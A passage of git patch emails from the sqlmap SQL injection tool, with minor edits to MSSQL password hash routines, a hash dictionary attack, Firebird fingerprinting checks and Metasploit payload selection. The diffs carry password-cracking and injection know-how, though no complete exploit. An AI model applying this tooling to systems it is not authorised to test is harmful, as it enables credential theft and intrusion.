b/lib/utils/hash.py @@ -155,54 +155,55 @@ def postgres_passwd(password, username, uppercase=False): return retVal.upper() if uppercase else retVal.lower() -def mssql_passwd(password, salt, uppercase=False): +def mssql_new_passwd(password, salt, uppercase=False): # since version '2012' """ Reference(s): - http://www.leidecker.info/projects/phrasendrescher/mssql.c - https://www.evilfingers.com/tools/GSAuditor.php + http://hashcat.net/forum/thread-1474.html + https://sqlity.net/en/2460/sql-password-hash/ - >>> mssql_passwd(password='testpass', salt='4086ceb6', uppercase=False) - '0x01004086ceb60c90646a8ab9889fe3ed8e5c150b5460ece8425a' + >>> mssql_new_passwd(password='testpass', salt='4086ceb6', uppercase=False) + '0x02004086ceb6eb051cdbc5bdae68ffc66c918d4977e592f6bdfc2b444a7214f71fa31c35902c5b7ae773ed5f4c50676d329120ace32ee6bc81c24f70711eb0fc6400e85ebf25' """ binsalt = decodeHex(salt) unistr = b"".join((_.encode(UNICODE_ENCODING) + b"\0") if ord(_) < 256 else _.encode(UNICODE_ENCODING) for _ in password) - retVal = "0100%s%s" % (salt, sha1(unistr + binsalt).hexdigest()) + retVal = "0200%s%s" % (salt, sha512(unistr + binsalt).hexdigest()) return "0x%s" % (retVal.upper() if uppercase else retVal.lower()) -def mssql_old_passwd(password, salt, uppercase=True): # prior to version '2005' +def mssql_passwd(password, salt, uppercase=False): # versions '2005' and '2008' """ Reference(s): - www.exploit-db.com/download_pdf/15537/ http://www.leidecker.info/projects/phrasendrescher/mssql.c https://www.evilfingers.com/tools/GSAuditor.php - >>> mssql_old_passwd(password='testpass', salt='4086ceb6', uppercase=True) - '0x01004086CEB60C90646A8AB9889FE3ED8E5C150B5460ECE8425AC7BB7255C0C81D79AA5D0E93D4BB077FB9A51DA0' + >>> mssql_passwd(password='testpass', salt='4086ceb6', uppercase=False) + '0x01004086ceb60c90646a8ab9889fe3ed8e5c150b5460ece8425a' """ binsalt = decodeHex(salt) unistr = b"".join((_.encode(UNICODE_ENCODING) + b"\0") if ord(_) < 256 else _.encode(UNICODE_ENCODING) for _ in password) - retVal = "0100%s%s%s" % (salt, sha1(unistr + binsalt).hexdigest(), sha1(unistr.upper() + binsalt).hexdigest()) + retVal = "0100%s%s" % (salt, sha1(unistr + binsalt).hexdigest()) return "0x%s" % (retVal.upper() if uppercase else retVal.lower()) -def mssql_new_passwd(password, salt, uppercase=False): +def mssql_old_passwd(password, salt, uppercase=True): # version '2000' and before """ Reference(s): - http://hashcat.net/forum/thread-1474.html + www.exploit-db.com/download_pdf/15537/ + http://www.leidecker.info/projects/phrasendrescher/mssql.c + https://www.evilfingers.com/tools/GSAuditor.php - >>> mssql_new_passwd(password='testpass', salt='4086ceb6', uppercase=False) - '0x02004086ceb6eb051cdbc5bdae68ffc66c918d4977e592f6bdfc2b444a7214f71fa31c35902c5b7ae773ed5f4c50676d329120ace32ee6bc81c24f70711eb0fc6400e85ebf25' + >>> mssql_old_passwd(password='testpass', salt='4086ceb6', uppercase=True) + '0x01004086CEB60C90646A8AB9889FE3ED8E5C150B5460ECE8425AC7BB7255C0C81D79AA5D0E93D4BB077FB9A51DA0' """ binsalt = decodeHex(salt) unistr = b"".join((_.encode(UNICODE_ENCODING) + b"\0") if ord(_) < 256 else _.encode(UNICODE_ENCODING) for _ in password) - retVal = "0200%s%s" % (salt, sha512(unistr + binsalt).hexdigest()) + retVal = "0100%s%s%s" % (salt, sha1(unistr + binsalt).hexdigest(), sha1(unistr.upper() + binsalt).hexdigest()) return "0x%s" % (retVal.upper() if uppercase else retVal.lower()) From 83aa1ac6a77c5c2b1cfad3d48a3091e511578031 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 26 Aug 2019 17:27:32 +0200 Subject: [PATCH 567/800] Implements #3895 --- lib/core/enums.py | 8 ++++---- lib/core/settings.py | 2 +- lib/utils/hash.py | 3 +++ 3 files changed, 8 insertions(+), 5 deletions(-) diff --git a/lib/core/enums.py b/lib/core/enums.py index d2b91441fb6..2887a3669bc 100644 --- a/lib/core/enums.py +++ b/lib/core/enums.py @@ -130,12 +130,12 @@ class HASH(object): MSSQL_NEW = r'(?i)\A0x0200[0-9a-f]{8}[0-9a-f]{128}\Z' ORACLE = r'(?i)\As:[0-9a-f]{60}\Z' ORACLE_OLD = r'(?i)\A[0-9a-f]{16}\Z' - MD5_GENERIC = r'(?i)\A[0-9a-f]{32}\Z' - SHA1_GENERIC = r'(?i)\A[0-9a-f]{40}\Z' + MD5_GENERIC = r'(?i)\A(0x)?[0-9a-f]{32}\Z' + SHA1_GENERIC = r'(?i)\A(0x)?[0-9a-f]{40}\Z' SHA224_GENERIC = r'(?i)\A[0-9a-f]{56}\Z' - SHA256_GENERIC = r'(?i)\A[0-9a-f]{64}\Z' + SHA256_GENERIC = r'(?i)\A(0x)?[0-9a-f]{64}\Z' SHA384_GENERIC = r'(?i)\A[0-9a-f]{96}\Z' - SHA512_GENERIC = r'(?i)\A[0-9a-f]{128}\Z' + SHA512_GENERIC = r'(?i)\A(0x)?[0-9a-f]{128}\Z' CRYPT_GENERIC = r'\A(?!\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\Z)(?![0-9]+\Z)[./0-9A-Za-z]{13}\Z' JOOMLA = r'\A[0-9a-f]{32}:\w{32}\Z' WORDPRESS = r'\A\$P\$[./0-9a-zA-Z]{31}\Z' diff --git a/lib/core/settings.py b/lib/core/settings.py index e711cd1958f..314d46b3ce9 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.8.25" +VERSION = "1.3.8.26" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/utils/hash.py b/lib/utils/hash.py index 52bdec6040b..8bd7c2aaf97 100644 --- a/lib/utils/hash.py +++ b/lib/utils/hash.py @@ -709,6 +709,7 @@ def attackDumpedTable(): if hash_: key = hash_ if hash_ not in replacements else replacements[hash_] lut[key.lower()] = password + lut["0x%s" % key.lower()] = password debugMsg = "post-processing table dump" logger.debug(debugMsg) @@ -943,6 +944,8 @@ def dictionaryAttack(attack_dict): if hash_regex in (HASH.MD5_BASE64, HASH.SHA1_BASE64, HASH.SHA256_BASE64, HASH.SHA512_BASE64): item = [(user, encodeHex(decodeBase64(hash_, binary=True))), {}] elif hash_regex in (HASH.MYSQL, HASH.MYSQL_OLD, HASH.MD5_GENERIC, HASH.SHA1_GENERIC, HASH.SHA224_GENERIC, HASH.SHA256_GENERIC, HASH.SHA384_GENERIC, HASH.SHA512_GENERIC, HASH.APACHE_SHA1): + if hash_.startswith("0x"): # Reference: https://docs.microsoft.com/en-us/sql/t-sql/functions/hashbytes-transact-sql?view=sql-server-2017 + hash_ = hash_[2:] item = [(user, hash_), {}] elif hash_regex in (HASH.SSHA,): item = [(user, hash_), {"salt": decodeBase64(hash_, binary=True)[20:]}] From 0a21635e7f858919bd2a7f7e1831a95ed513ed0d Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 26 Aug 2019 17:33:03 +0200 Subject: [PATCH 568/800] Adding a minor thing (history reasons) --- lib/core/settings.py | 2 +- lib/utils/hash.py | 13 +++++++++++++ 2 files changed, 14 insertions(+), 1 deletion(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 314d46b3ce9..d8f724dd693 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.8.26" +VERSION = "1.3.8.27" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/utils/hash.py b/lib/utils/hash.py index 8bd7c2aaf97..72f2f2e4964 100644 --- a/lib/utils/hash.py +++ b/lib/utils/hash.py @@ -33,6 +33,7 @@ import base64 import binascii import gc +import hashlib import os import re import tempfile @@ -247,6 +248,18 @@ def oracle_old_passwd(password, username, uppercase=True): # prior to version ' return retVal.upper() if uppercase else retVal.lower() +def md4_generic_passwd(password, uppercase=False): + """ + >>> md4_generic_passwd(password='testpass', uppercase=False) + '5b4d300688f19c8fd65b8d6ccf98e0ae' + """ + + password = getBytes(password) + + retVal = hashlib.new("md4", password).hexdigest() + + return retVal.upper() if uppercase else retVal.lower() + def md5_generic_passwd(password, uppercase=False): """ >>> md5_generic_passwd(password='testpass', uppercase=False) From f6e1f11711a774c8354abc601c44806f9a43fc33 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 27 Aug 2019 13:39:18 +0200 Subject: [PATCH 569/800] Fixes #3897 --- lib/core/settings.py | 2 +- lib/core/subprocessng.py | 3 +++ 2 files changed, 4 insertions(+), 1 deletion(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index d8f724dd693..228ab123acb 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.8.27" +VERSION = "1.3.8.28" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/subprocessng.py b/lib/core/subprocessng.py index 47ad47156b4..e0d99951fcb 100644 --- a/lib/core/subprocessng.py +++ b/lib/core/subprocessng.py @@ -13,6 +13,7 @@ import time from lib.core.compat import buffer +from lib.core.convert import getBytes from lib.core.settings import IS_WIN if IS_WIN: @@ -192,6 +193,8 @@ def send_all(p, data): if not data: return + data = getBytes(data) + while len(data): sent = p.send(data) if not isinstance(sent, int): From 54e93e53df341c9e4d1bba2ba55b653fb6485512 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 27 Aug 2019 13:41:30 +0200 Subject: [PATCH 570/800] Fixes #3898 --- lib/core/settings.py | 2 +- lib/core/update.py | 1 + 2 files changed, 2 insertions(+), 1 deletion(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 228ab123acb..dd18a39feb2 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.8.28" +VERSION = "1.3.8.29" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/update.py b/lib/core/update.py index e844c4a3778..9cd588263d1 100644 --- a/lib/core/update.py +++ b/lib/core/update.py @@ -105,6 +105,7 @@ def update(): dataToStdout("\r[%s] [INFO] update in progress" % time.strftime("%X")) + output = "" try: process = subprocess.Popen("git checkout . && git pull %s HEAD" % GIT_REPOSITORY, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, cwd=paths.SQLMAP_ROOT_PATH) pollProcess(process, True) From 9eda11d081ba5af92976a9a42187cbcf26ffd4ed Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 29 Aug 2019 17:07:16 +0200 Subject: [PATCH 571/800] Trivial update --- lib/core/common.py | 6 +++--- lib/core/settings.py | 2 +- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index dd680189e99..30e472d05be 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -3582,7 +3582,7 @@ def decodeIntToUnicode(value): # Note: https://github.com/sqlmapproject/sqlmap/issues/1531 retVal = getUnicode(raw, conf.encoding or UNICODE_ENCODING) elif Backend.isDbms(DBMS.MSSQL): - retVal = getUnicode(raw, "UTF-16-BE") + retVal = getUnicode(raw, "UTF-16-BE") # References: https://docs.microsoft.com/en-us/sql/relational-databases/collations/collation-and-unicode-support?view=sql-server-2017 and https://stackoverflow.com/a/14488478 elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE): retVal = _unichr(value) else: @@ -3669,7 +3669,7 @@ def getLatestRevision(): """ retVal = None - req = _urllib.request.Request(url="https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/lib/core/settings.py") + req = _urllib.request.Request(url="https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/lib/core/settings.py", headers={HTTP_HEADER.USER_AGENT: fetchRandomAgent()}) try: content = getUnicode(_urllib.request.urlopen(req).read()) @@ -3801,7 +3801,7 @@ def maskSensitiveData(msg): retVal = retVal.replace(value, '*' * len(value)) # Just in case (for problematic parameters regarding user encoding) - for match in re.finditer(r"(?i)[ -]-(u|url|data|cookie|auth-\w+|proxy)( |=)(.*?)(?= -?-[a-z]|\Z)", retVal): + for match in re.finditer(r"(?i)[ -]-(u|url|data|cookie|auth-\w+|proxy|host|referer|headers?|H)( |=)(.*?)(?= -?-[a-z]|\Z)", retVal): retVal = retVal.replace(match.group(3), '*' * len(match.group(3))) # Fail-safe substitutions diff --git a/lib/core/settings.py b/lib/core/settings.py index dd18a39feb2..b69e3307c9e 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.8.29" +VERSION = "1.3.8.30" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From f2c2864ab49e393ed10117f2fe6525118da032b6 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 30 Aug 2019 14:43:56 +0200 Subject: [PATCH 572/800] Couple of trivial updates --- lib/core/agent.py | 8 +++++--- lib/core/compat.py | 4 ++-- lib/core/enums.py | 4 ++-- lib/core/settings.py | 5 ++++- lib/takeover/metasploit.py | 3 --- lib/techniques/error/use.py | 8 ++++---- lib/techniques/union/test.py | 4 ++-- plugins/dbms/oracle/enumeration.py | 7 ++++--- plugins/generic/users.py | 13 +++++++------ thirdparty/identywaf/__init__.py | 9 +++++++++ 10 files changed, 39 insertions(+), 26 deletions(-) diff --git a/lib/core/agent.py b/lib/core/agent.py index 46a332da499..5ad3e7c94f8 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -334,6 +334,7 @@ def cleanupPayload(self, payload, origValue=None): if origValue is not None: origValue = getUnicode(origValue) + if "[ORIGVALUE]" in payload: payload = getUnicode(payload).replace("[ORIGVALUE]", origValue if origValue.isdigit() else unescaper.escape("'%s'" % origValue)) if "[ORIGINAL]" in payload: @@ -352,6 +353,7 @@ def cleanupPayload(self, payload, origValue=None): inferenceQuery = inference.query payload = payload.replace(INFERENCE_MARKER, inferenceQuery) + elif not kb.testMode: errMsg = "invalid usage of inference payload without " errMsg += "knowledge of underlying DBMS" @@ -394,7 +396,7 @@ def hexConvertField(self, field): if "hex" in rootQuery: hexField = rootQuery.hex.query % field else: - warnMsg = "switch '--hex' is currently not supported on DBMS %s" % Backend.getIdentifiedDbms() + warnMsg = "switch '--hex' is currently not supported on DBMS '%s'" % Backend.getIdentifiedDbms() singleTimeWarnMessage(warnMsg) return hexField @@ -1008,7 +1010,7 @@ def limitQuery(self, num, query, field=None, uniqueField=None): limitedQuery = "%s WHERE %s " % (limitedQuery, self.nullAndCastField(uniqueField or field)) limitedQuery += "NOT IN (%s" % (limitStr % num) - limitedQuery += "%s %s ORDER BY %s) ORDER BY %s" % (self.nullAndCastField(uniqueField or field), fromFrom, uniqueField or "1", uniqueField or "1") + limitedQuery += "%s %s ORDER BY %s) ORDER BY %s" % (self.nullAndCastField(uniqueField or field), fromFrom, uniqueField or '1', uniqueField or '1') else: match = re.search(r" ORDER BY (\w+)\Z", query) field = match.group(1) if match else field @@ -1082,7 +1084,7 @@ def removePayloadDelimiters(self, value): Removes payload delimiters from inside the input string """ - return value.replace(PAYLOAD_DELIMITER, '') if value else value + return value.replace(PAYLOAD_DELIMITER, "") if value else value def extractPayload(self, value): """ diff --git a/lib/core/compat.py b/lib/core/compat.py index 4661e92f4f4..0466e7cc0af 100644 --- a/lib/core/compat.py +++ b/lib/core/compat.py @@ -13,6 +13,7 @@ import os import random import sys +import time import uuid class WichmannHill(random.Random): @@ -40,7 +41,6 @@ def seed(self, a=None): try: a = int(binascii.hexlify(os.urandom(16)), 16) except NotImplementedError: - import time a = int(time.time() * 256) # use fractional seconds if not isinstance(a, int): @@ -132,7 +132,6 @@ def __whseed(self, x=0, y=0, z=0): raise ValueError('seeds must be in range(0, 256)') if 0 == x == y == z: # Initialize from current time - import time t = int(time.time() * 256) t = int((t & 0xffffff) ^ (t >> 24)) t, x = divmod(t, 256) @@ -204,6 +203,7 @@ def round(x, d=0): else: return float(math.ceil((x * p) - 0.5)) / p +# Reference: https://code.activestate.com/recipes/576653-convert-a-cmp-function-to-a-key-function/ def cmp_to_key(mycmp): """Convert a cmp= function into a key= function""" class K(object): diff --git a/lib/core/enums.py b/lib/core/enums.py index 2887a3669bc..a1264fb35ea 100644 --- a/lib/core/enums.py +++ b/lib/core/enums.py @@ -244,8 +244,8 @@ class HASHDB_KEYS(object): OS = "OS" class REDIRECTION(object): - YES = "Y" - NO = "N" + YES = 'Y' + NO = 'N' class PAYLOAD(object): SQLINJECTION = { diff --git a/lib/core/settings.py b/lib/core/settings.py index b69e3307c9e..dfb4e641116 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.8.30" +VERSION = "1.3.8.31" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -333,6 +333,9 @@ # String representation for current database CURRENT_DB = "CD" +# String representation for current user +CURRENT_USER = "CU" + # Name of SQLite file used for storing session data SESSION_SQLITE_FILE = "session.sqlite" diff --git a/lib/takeover/metasploit.py b/lib/takeover/metasploit.py index cd22b160691..83762aacabf 100644 --- a/lib/takeover/metasploit.py +++ b/lib/takeover/metasploit.py @@ -227,18 +227,15 @@ def _selectPayload(self): if not choice or choice == "2": _payloadStr = "windows/meterpreter" - break elif choice == "3": _payloadStr = "windows/shell" - break elif choice == "1": if Backend.isDbms(DBMS.PGSQL): logger.warn("beware that the VNC injection might not work") - break elif Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")): diff --git a/lib/techniques/error/use.py b/lib/techniques/error/use.py index 7ea4343862b..478aa86ae61 100644 --- a/lib/techniques/error/use.py +++ b/lib/techniques/error/use.py @@ -76,7 +76,7 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False): threadData.resumed = retVal is not None and not partialValue - if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL, DBMS.ORACLE)) and kb.errorChunkLength is None and not chunkTest and not kb.testMode: + if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL, DBMS.SYBASE, DBMS.ORACLE)) and kb.errorChunkLength is None and not chunkTest and not kb.testMode: debugMsg = "searching for error chunk length..." logger.debug(debugMsg) @@ -117,7 +117,7 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False): if field: nulledCastedField = agent.nullAndCastField(field) - if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL, DBMS.ORACLE)) and not any(_ in field for _ in ("COUNT", "CASE")) and kb.errorChunkLength and not chunkTest: + if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL, DBMS.SYBASE, DBMS.ORACLE)) and not any(_ in field for _ in ("COUNT", "CASE")) and kb.errorChunkLength and not chunkTest: extendedField = re.search(r"[^ ,]*%s[^ ,]*" % re.escape(field), expression).group(0) if extendedField != field: # e.g. MIN(surname) nulledCastedField = extendedField.replace(field, nulledCastedField) @@ -177,7 +177,7 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False): else: output = output.rstrip() - if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL, DBMS.ORACLE)): + if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL, DBMS.SYBASE, DBMS.ORACLE)): if offset == 1: retVal = output else: @@ -367,7 +367,7 @@ def errorUse(expression, dump=False): message = "due to huge table size do you want to remove " message += "ORDER BY clause gaining speed over consistency? [y/N] " - if readInput(message, default="N", boolean=True): + if readInput(message, default='N', boolean=True): expression = expression[:expression.index(" ORDER BY ")] numThreads = min(conf.threads, (stopLimit - startLimit)) diff --git a/lib/techniques/union/test.py b/lib/techniques/union/test.py index d195e5f2239..5e223575d77 100644 --- a/lib/techniques/union/test.py +++ b/lib/techniques/union/test.py @@ -163,7 +163,7 @@ def _orderByTest(cols): if retVal: infoMsg = "target URL appears to be UNION injectable with %d columns" % retVal - singleTimeLogMessage(infoMsg, logging.INFO, re.sub(r"\d+", "N", infoMsg)) + singleTimeLogMessage(infoMsg, logging.INFO, re.sub(r"\d+", 'N', infoMsg)) return retVal @@ -290,7 +290,7 @@ def _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix) if not conf.uChar and count > 1 and kb.uChar == NULL: message = "injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] " - if not readInput(message, default="Y", boolean=True): + if not readInput(message, default='Y', boolean=True): warnMsg += "usage of option '--union-char' " warnMsg += "(e.g. '--union-char=1') " else: diff --git a/plugins/dbms/oracle/enumeration.py b/plugins/dbms/oracle/enumeration.py index d31679bec58..c79a89758dc 100644 --- a/plugins/dbms/oracle/enumeration.py +++ b/plugins/dbms/oracle/enumeration.py @@ -21,6 +21,7 @@ from lib.core.enums import EXPECTED from lib.core.enums import PAYLOAD from lib.core.exception import SqlmapNoneDataException +from lib.core.settings import CURRENT_USER from lib.request import inject from plugins.generic.enumeration import Enumeration as GenericEnumeration @@ -30,7 +31,7 @@ def getRoles(self, query2=False): rootQuery = queries[DBMS.ORACLE].roles - if conf.user == "CU": + if conf.user == CURRENT_USER: infoMsg += " for current user" conf.user = self.getCurrentUser() @@ -55,7 +56,7 @@ def getRoles(self, query2=False): values = inject.getValue(query, blind=False, time=False) if not values and not query2: - infoMsg = "trying with table USER_ROLE_PRIVS" + infoMsg = "trying with table 'USER_ROLE_PRIVS'" logger.info(infoMsg) return self.getRoles(query2=True) @@ -116,7 +117,7 @@ def getRoles(self, query2=False): if not isNumPosStrValue(count): if count != 0 and not query2: - infoMsg = "trying with table USER_SYS_PRIVS" + infoMsg = "trying with table 'USER_SYS_PRIVS'" logger.info(infoMsg) return self.getPrivileges(query2=True) diff --git a/plugins/generic/users.py b/plugins/generic/users.py index a20707d214a..5599404aa43 100644 --- a/plugins/generic/users.py +++ b/plugins/generic/users.py @@ -39,6 +39,7 @@ from lib.core.enums import PAYLOAD from lib.core.exception import SqlmapNoneDataException from lib.core.exception import SqlmapUserQuitException +from lib.core.settings import CURRENT_USER from lib.core.threads import getCurrentThreadData from lib.request import inject from lib.utils.hash import attackCachedUsersPasswords @@ -153,7 +154,7 @@ def getPasswordHashes(self): rootQuery = queries[Backend.getIdentifiedDbms()].passwords - if conf.user == "CU": + if conf.user == CURRENT_USER: infoMsg += " for current user" conf.user = self.getCurrentUser() @@ -362,7 +363,7 @@ def getPrivileges(self, query2=False): rootQuery = queries[Backend.getIdentifiedDbms()].privileges - if conf.user == "CU": + if conf.user == CURRENT_USER: infoMsg += " for current user" conf.user = self.getCurrentUser() @@ -410,7 +411,7 @@ def getPrivileges(self, query2=False): values = inject.getValue(query, blind=False, time=False) if not values and Backend.isDbms(DBMS.ORACLE) and not query2: - infoMsg = "trying with table USER_SYS_PRIVS" + infoMsg = "trying with table 'USER_SYS_PRIVS'" logger.info(infoMsg) return self.getPrivileges(query2=True) @@ -446,7 +447,7 @@ def getPrivileges(self, query2=False): # In MySQL < 5.0 we get Y if the privilege is # True, N otherwise elif Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: - if privilege.upper() == "Y": + if privilege.upper() == 'Y': privileges.add(MYSQL_PRIVS[count]) # In Firebird we get one letter for each privilege @@ -465,7 +466,7 @@ def getPrivileges(self, query2=False): i = 1 for priv in privs: - if priv.upper() in ("Y", "G"): + if priv.upper() in ('Y', 'G'): for position, db2Priv in DB2_PRIVS.items(): if position == i: privilege += ", " + db2Priv @@ -525,7 +526,7 @@ def getPrivileges(self, query2=False): if not isNumPosStrValue(count): if not retrievedUsers and Backend.isDbms(DBMS.ORACLE) and not query2: - infoMsg = "trying with table USER_SYS_PRIVS" + infoMsg = "trying with table 'USER_SYS_PRIVS'" logger.info(infoMsg) return self.getPrivileges(query2=True) diff --git a/thirdparty/identywaf/__init__.py b/thirdparty/identywaf/__init__.py index e69de29bb2d..aa130ea2291 100644 --- a/thirdparty/identywaf/__init__.py +++ b/thirdparty/identywaf/__init__.py @@ -0,0 +1,9 @@ +#!/usr/bin/env python +# +# Copyright (c) 2019 Miroslav Stampar (@stamparm), MIT +# See the file 'LICENSE' for copying permission + +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. + +pass From 80f6460f729a924879556d259a55eba2379a969d Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 2 Sep 2019 12:22:32 +0200 Subject: [PATCH 573/800] Minor update for Firebird --- lib/core/settings.py | 2 +- plugins/dbms/firebird/fingerprint.py | 6 ++++-- 2 files changed, 5 insertions(+), 3 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index dfb4e641116..ae57de0621a 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.8.31" +VERSION = "1.3.9.0" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/dbms/firebird/fingerprint.py b/plugins/dbms/firebird/fingerprint.py index 055b63c6839..79ca5e35279 100644 --- a/plugins/dbms/firebird/fingerprint.py +++ b/plugins/dbms/firebird/fingerprint.py @@ -10,6 +10,7 @@ from lib.core.common import Backend from lib.core.common import Format from lib.core.common import randomRange +from lib.core.common import randomStr from lib.core.compat import xrange from lib.core.convert import getUnicode from lib.core.data import conf @@ -74,13 +75,14 @@ def _sysTablesCheck(self): ("1.5", ("NULLIF(%d,%d) IS NULL", "EXISTS(SELECT CURRENT_TRANSACTION FROM RDB$DATABASE)")), ("2.0", ("EXISTS(SELECT CURRENT_TIME(0) FROM RDB$DATABASE)", "BIT_LENGTH(%d)>0", "CHAR_LENGTH(%d)>0")), ("2.1", ("BIN_XOR(%d,%d)=0", "PI()>0.%d", "RAND()<1.%d", "FLOOR(1.%d)>=0")), - # TODO: add test for Firebird 2.5 + ("2.5", ("'%s' SIMILAR TO '%s'",)), # Reference: https://firebirdsql.org/refdocs/langrefupd25-similar-to.html + ("3.0", ("FALSE IS FALSE",)), # https://www.firebirdsql.org/file/community/conference-2014/pdf/02_fb.2014.whatsnew.30.en.pdf ) for i in xrange(len(table)): version, checks = table[i] failed = False - check = checks[randomRange(0, len(checks) - 1)].replace("%d", getUnicode(randomRange(1, 100))) + check = checks[randomRange(0, len(checks) - 1)].replace("%d", getUnicode(randomRange(1, 100))).replace("%s", getUnicode(randomStr())) result = inject.checkBooleanExpression(check) if result: From 2d63441cc44f179c4d4505820e3f49229c74ab1e Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 2 Sep 2019 15:58:57 +0200 Subject: [PATCH 574/800] Minor update --- lib/core/settings.py | 2 +- plugins/dbms/informix/fingerprint.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index ae57de0621a..4867011a52e 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.9.0" +VERSION = "1.3.9.1" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/dbms/informix/fingerprint.py b/plugins/dbms/informix/fingerprint.py index de57436899b..a3adbaf8b6b 100644 --- a/plugins/dbms/informix/fingerprint.py 